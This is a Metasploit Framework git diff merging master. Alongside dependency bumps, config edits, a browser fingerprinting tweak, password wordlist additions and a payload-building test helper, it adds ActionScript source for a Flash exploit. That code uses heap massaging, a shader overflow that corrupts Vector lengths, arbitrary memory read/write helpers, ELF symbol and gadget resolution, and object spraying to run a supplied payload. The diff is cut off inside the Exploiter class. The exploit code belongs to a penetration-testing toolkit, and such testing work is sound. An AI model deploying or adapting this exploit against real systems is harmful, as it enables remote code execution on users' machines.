Resolved conflicts with master
commit
23abc288c8
|
@ -69,7 +69,10 @@ external/source/exploits/**/Release
|
||||||
# the metasploit-payloads gem.
|
# the metasploit-payloads gem.
|
||||||
data/meterpreter/*.dll
|
data/meterpreter/*.dll
|
||||||
data/meterpreter/*.bin
|
data/meterpreter/*.bin
|
||||||
|
data/meterpreter/*.jar
|
||||||
data/meterpreter/*.lso
|
data/meterpreter/*.lso
|
||||||
|
data/android
|
||||||
|
data/java
|
||||||
|
|
||||||
# Avoid checking in Meterpreter libs that are built from
|
# Avoid checking in Meterpreter libs that are built from
|
||||||
# private source. If you're interested in this functionality,
|
# private source. If you're interested in this functionality,
|
||||||
|
|
36
Gemfile.lock
36
Gemfile.lock
|
@ -1,33 +1,33 @@
|
||||||
PATH
|
PATH
|
||||||
remote: .
|
remote: .
|
||||||
specs:
|
specs:
|
||||||
metasploit-framework (4.11.0.pre.dev)
|
metasploit-framework (4.11.3.pre.dev)
|
||||||
actionpack (>= 4.0.9, < 4.1.0)
|
actionpack (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
bcrypt
|
bcrypt
|
||||||
jsobfu (~> 0.2.0)
|
jsobfu (~> 0.2.0)
|
||||||
json
|
json
|
||||||
metasploit-concern (~> 1.0)
|
metasploit-concern (= 1.0.0)
|
||||||
metasploit-model (~> 1.0)
|
metasploit-model (= 1.0.0)
|
||||||
metasploit-payloads (= 1.0.1)
|
metasploit-payloads (= 1.0.4)
|
||||||
msgpack
|
msgpack
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.9)
|
packetfu (= 1.1.9)
|
||||||
railties
|
railties
|
||||||
rb-readline-r7
|
rb-readline-r7
|
||||||
recog (~> 1.0)
|
recog (= 2.0.6)
|
||||||
robots
|
robots
|
||||||
rubyzip (~> 1.1)
|
rubyzip (~> 1.1)
|
||||||
sqlite3
|
sqlite3
|
||||||
tzinfo
|
tzinfo
|
||||||
metasploit-framework-db (4.11.0.pre.dev)
|
metasploit-framework-db (4.11.3.pre.dev)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-credential (~> 1.0)
|
metasploit-credential (= 1.0.0)
|
||||||
metasploit-framework (= 4.11.0.pre.dev)
|
metasploit-framework (= 4.11.3.pre.dev)
|
||||||
metasploit_data_models (~> 1.0)
|
metasploit_data_models (= 1.2.5)
|
||||||
pg (>= 0.11)
|
pg (>= 0.11)
|
||||||
metasploit-framework-pcap (4.11.0.pre.dev)
|
metasploit-framework-pcap (4.11.3.pre.dev)
|
||||||
metasploit-framework (= 4.11.0.pre.dev)
|
metasploit-framework (= 4.11.3.pre.dev)
|
||||||
network_interface (~> 0.0.1)
|
network_interface (~> 0.0.1)
|
||||||
pcaprub
|
pcaprub
|
||||||
|
|
||||||
|
@ -123,8 +123,8 @@ GEM
|
||||||
activemodel (>= 4.0.9, < 4.1.0)
|
activemodel (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-payloads (1.0.1)
|
metasploit-payloads (1.0.4)
|
||||||
metasploit_data_models (1.1.0)
|
metasploit_data_models (1.2.5)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
arel-helpers
|
arel-helpers
|
||||||
|
@ -133,13 +133,13 @@ GEM
|
||||||
pg
|
pg
|
||||||
postgres_ext
|
postgres_ext
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
recog (~> 1.0)
|
recog (~> 2.0)
|
||||||
method_source (0.8.2)
|
method_source (0.8.2)
|
||||||
mime-types (2.4.3)
|
mime-types (2.4.3)
|
||||||
mini_portile (0.6.2)
|
mini_portile (0.6.2)
|
||||||
minitest (4.7.5)
|
minitest (4.7.5)
|
||||||
msgpack (0.5.11)
|
msgpack (0.6.0)
|
||||||
multi_json (1.11.0)
|
multi_json (1.11.1)
|
||||||
multi_test (0.1.2)
|
multi_test (0.1.2)
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.1)
|
||||||
nokogiri (1.6.6.2)
|
nokogiri (1.6.6.2)
|
||||||
|
@ -156,7 +156,7 @@ GEM
|
||||||
coderay (~> 1.1.0)
|
coderay (~> 1.1.0)
|
||||||
method_source (~> 0.8.1)
|
method_source (~> 0.8.1)
|
||||||
slop (~> 3.4)
|
slop (~> 3.4)
|
||||||
rack (1.5.3)
|
rack (1.5.5)
|
||||||
rack-test (0.6.3)
|
rack-test (0.6.3)
|
||||||
rack (>= 1.0)
|
rack (>= 1.0)
|
||||||
rails (4.0.13)
|
rails (4.0.13)
|
||||||
|
@ -174,7 +174,7 @@ GEM
|
||||||
thor (>= 0.18.1, < 2.0)
|
thor (>= 0.18.1, < 2.0)
|
||||||
rake (10.4.2)
|
rake (10.4.2)
|
||||||
rb-readline-r7 (0.5.2.0)
|
rb-readline-r7 (0.5.2.0)
|
||||||
recog (1.0.29)
|
recog (2.0.6)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.2.3)
|
redcarpet (3.2.3)
|
||||||
rkelly-remix (0.0.6)
|
rkelly-remix (0.0.6)
|
||||||
|
|
|
@ -3,8 +3,7 @@
|
||||||
# these days. (No SQLite, no MySQL).
|
# these days. (No SQLite, no MySQL).
|
||||||
#
|
#
|
||||||
# To set up a metasploit database, follow the directions hosted at:
|
# To set up a metasploit database, follow the directions hosted at:
|
||||||
# https://fedoraproject.org/wiki/Metasploit_Postgres_Setup (Works on
|
# http://r-7.co/MSF-DEV#set-up-postgresql
|
||||||
# essentially any Linux distro, not just Fedora)
|
|
||||||
development: &pgsql
|
development: &pgsql
|
||||||
adapter: postgresql
|
adapter: postgresql
|
||||||
database: metasploit_framework_development
|
database: metasploit_framework_development
|
||||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -973,6 +973,12 @@ os_detect.getVersion = function(){
|
||||||
os_name = "Windows 8";
|
os_name = "Windows 8";
|
||||||
os_sp = "SP0";
|
os_sp = "SP0";
|
||||||
break;
|
break;
|
||||||
|
case "1100":
|
||||||
|
// IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
|
||||||
|
ua_version = "11.0";
|
||||||
|
os_name = "Windows 10";
|
||||||
|
os_sp = "SP0";
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
unknown_fingerprint = version;
|
unknown_fingerprint = version;
|
||||||
break;
|
break;
|
||||||
|
@ -1027,7 +1033,7 @@ os_detect.getVersion = function(){
|
||||||
}
|
}
|
||||||
switch (navigator.appMinorVersion){
|
switch (navigator.appMinorVersion){
|
||||||
case ";SP2;":
|
case ";SP2;":
|
||||||
ua_version += ";SP2";
|
os_sp = "SP2";
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,20 @@
|
||||||
|
qwerty
|
||||||
|
qwertyuiop
|
||||||
|
1qaz2wsx
|
||||||
|
qazwsx
|
||||||
|
asdfgh
|
||||||
|
zxcvbnm
|
||||||
|
1234qwer
|
||||||
|
q1w2e3r4t5
|
||||||
|
qwer1234
|
||||||
|
q1w2e3r4
|
||||||
|
asdfasdf
|
||||||
|
qazwsxedc
|
||||||
|
asdfghjkl
|
||||||
|
q1w2e3
|
||||||
|
1qazxsw2
|
||||||
|
12QWaszx
|
||||||
|
qweasdzxc
|
||||||
|
mnbvcxz
|
||||||
|
a1b2c3d4
|
||||||
|
adgjmptw
|
|
@ -1002,4 +1002,5 @@ sq!us3r
|
||||||
adminpasswd
|
adminpasswd
|
||||||
raspberry
|
raspberry
|
||||||
74k&^*nh#$
|
74k&^*nh#$
|
||||||
arcsight
|
arcsight
|
||||||
|
MargaretThatcheris110%SEXY
|
||||||
|
|
|
@ -2,12 +2,12 @@
|
||||||
|
|
||||||
dllbase = File.expand_path(File.dirname(__FILE__))
|
dllbase = File.expand_path(File.dirname(__FILE__))
|
||||||
msfbase = File.expand_path(File.join(dllbase, "..", "..", ".."))
|
msfbase = File.expand_path(File.join(dllbase, "..", "..", ".."))
|
||||||
msfp = File.join(msfbase, "msfpayload")
|
msfv = File.join(msfbase, "msfvenom")
|
||||||
|
|
||||||
Dir.chdir(dllbase)
|
Dir.chdir(dllbase)
|
||||||
|
|
||||||
system("ruby #{msfp} windows/exec CMD=calc.exe X > runcalc.exe")
|
system("ruby #{msfv} -p windows/exec CMD=calc.exe -f exe -o runcalc.exe")
|
||||||
system("ruby #{msfp} windows/exec CMD=calc.exe D > runcalc.dll")
|
system("ruby #{msfv} -p windows/exec CMD=calc.exe -f dll -o runcalc.dll")
|
||||||
system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' D > runtest.dll")
|
system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f dll -o runtest.dll")
|
||||||
system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' X > runtest.exe")
|
system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f exe -o runtest.exe")
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,131 @@
|
||||||
|
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
|
||||||
|
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||||
|
|
||||||
|
package {
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.display.Shader
|
||||||
|
import flash.system.Capabilities
|
||||||
|
import flash.utils.Endian
|
||||||
|
import __AS3__.vec.Vector
|
||||||
|
import __AS3__.vec.*
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
|
||||||
|
public class Exploit extends Sprite {
|
||||||
|
|
||||||
|
protected var Shad:Class
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var os:String
|
||||||
|
private var exploiter:Exploiter
|
||||||
|
|
||||||
|
public function Exploit(){
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
var shader:Shader
|
||||||
|
if (platform == "linux") {
|
||||||
|
this.Shad = GraphShadLinux
|
||||||
|
} else {
|
||||||
|
this.Shad = GraphShadWindows
|
||||||
|
}
|
||||||
|
|
||||||
|
super()
|
||||||
|
var i:* = 0
|
||||||
|
var j:* = 0
|
||||||
|
var offset:int = -1
|
||||||
|
var corrupted_vector_idx:int = -1
|
||||||
|
|
||||||
|
// Memory massage
|
||||||
|
var array_length:uint = 0x10000
|
||||||
|
var vector_size:uint = 34
|
||||||
|
var array:Array = new Array()
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
while (i < array_length)
|
||||||
|
{
|
||||||
|
array[i] = new Vector.<uint>(vector_size)
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
while (i < array_length)
|
||||||
|
{
|
||||||
|
array[i].length = 0
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
|
||||||
|
i = 0x0200
|
||||||
|
while (i < array_length)
|
||||||
|
{
|
||||||
|
array[(i - (2 * (j % 2)))].length = 0x0100
|
||||||
|
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef
|
||||||
|
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2)))
|
||||||
|
i = (i + 28)
|
||||||
|
j++
|
||||||
|
}
|
||||||
|
|
||||||
|
// Overflow and Search for corrupted vector
|
||||||
|
var shadba:ByteArray = (new this.Shad() as ByteArray)
|
||||||
|
shadba.position = 0
|
||||||
|
|
||||||
|
shader = new Shader()
|
||||||
|
try
|
||||||
|
{
|
||||||
|
shader.byteCode = (new this.Shad() as ByteArray);
|
||||||
|
} catch(e) { }
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
while (i < array_length)
|
||||||
|
{
|
||||||
|
if (array[i].length > 0x0100)
|
||||||
|
{
|
||||||
|
corrupted_vector_idx = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
}
|
||||||
|
|
||||||
|
if (corrupted_vector_idx == -1) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for(i = 0; i < array[corrupted_vector_idx].length; i++) {
|
||||||
|
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) {
|
||||||
|
array[corrupted_vector_idx][i] = 0xffffffff
|
||||||
|
offset = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (offset == -1) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
for(i = 0; i < array.length; i++) {
|
||||||
|
if (array[i].length == 0xffffffff) {
|
||||||
|
uv = array[i]
|
||||||
|
uv[0x3ffffffc - offset] = 34
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for(i = 0; i < array.length; i++) {
|
||||||
|
if (array[i].length != 0xffffffff) {
|
||||||
|
delete(array[i])
|
||||||
|
array[i] = null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,74 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint = 0x100
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,399 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
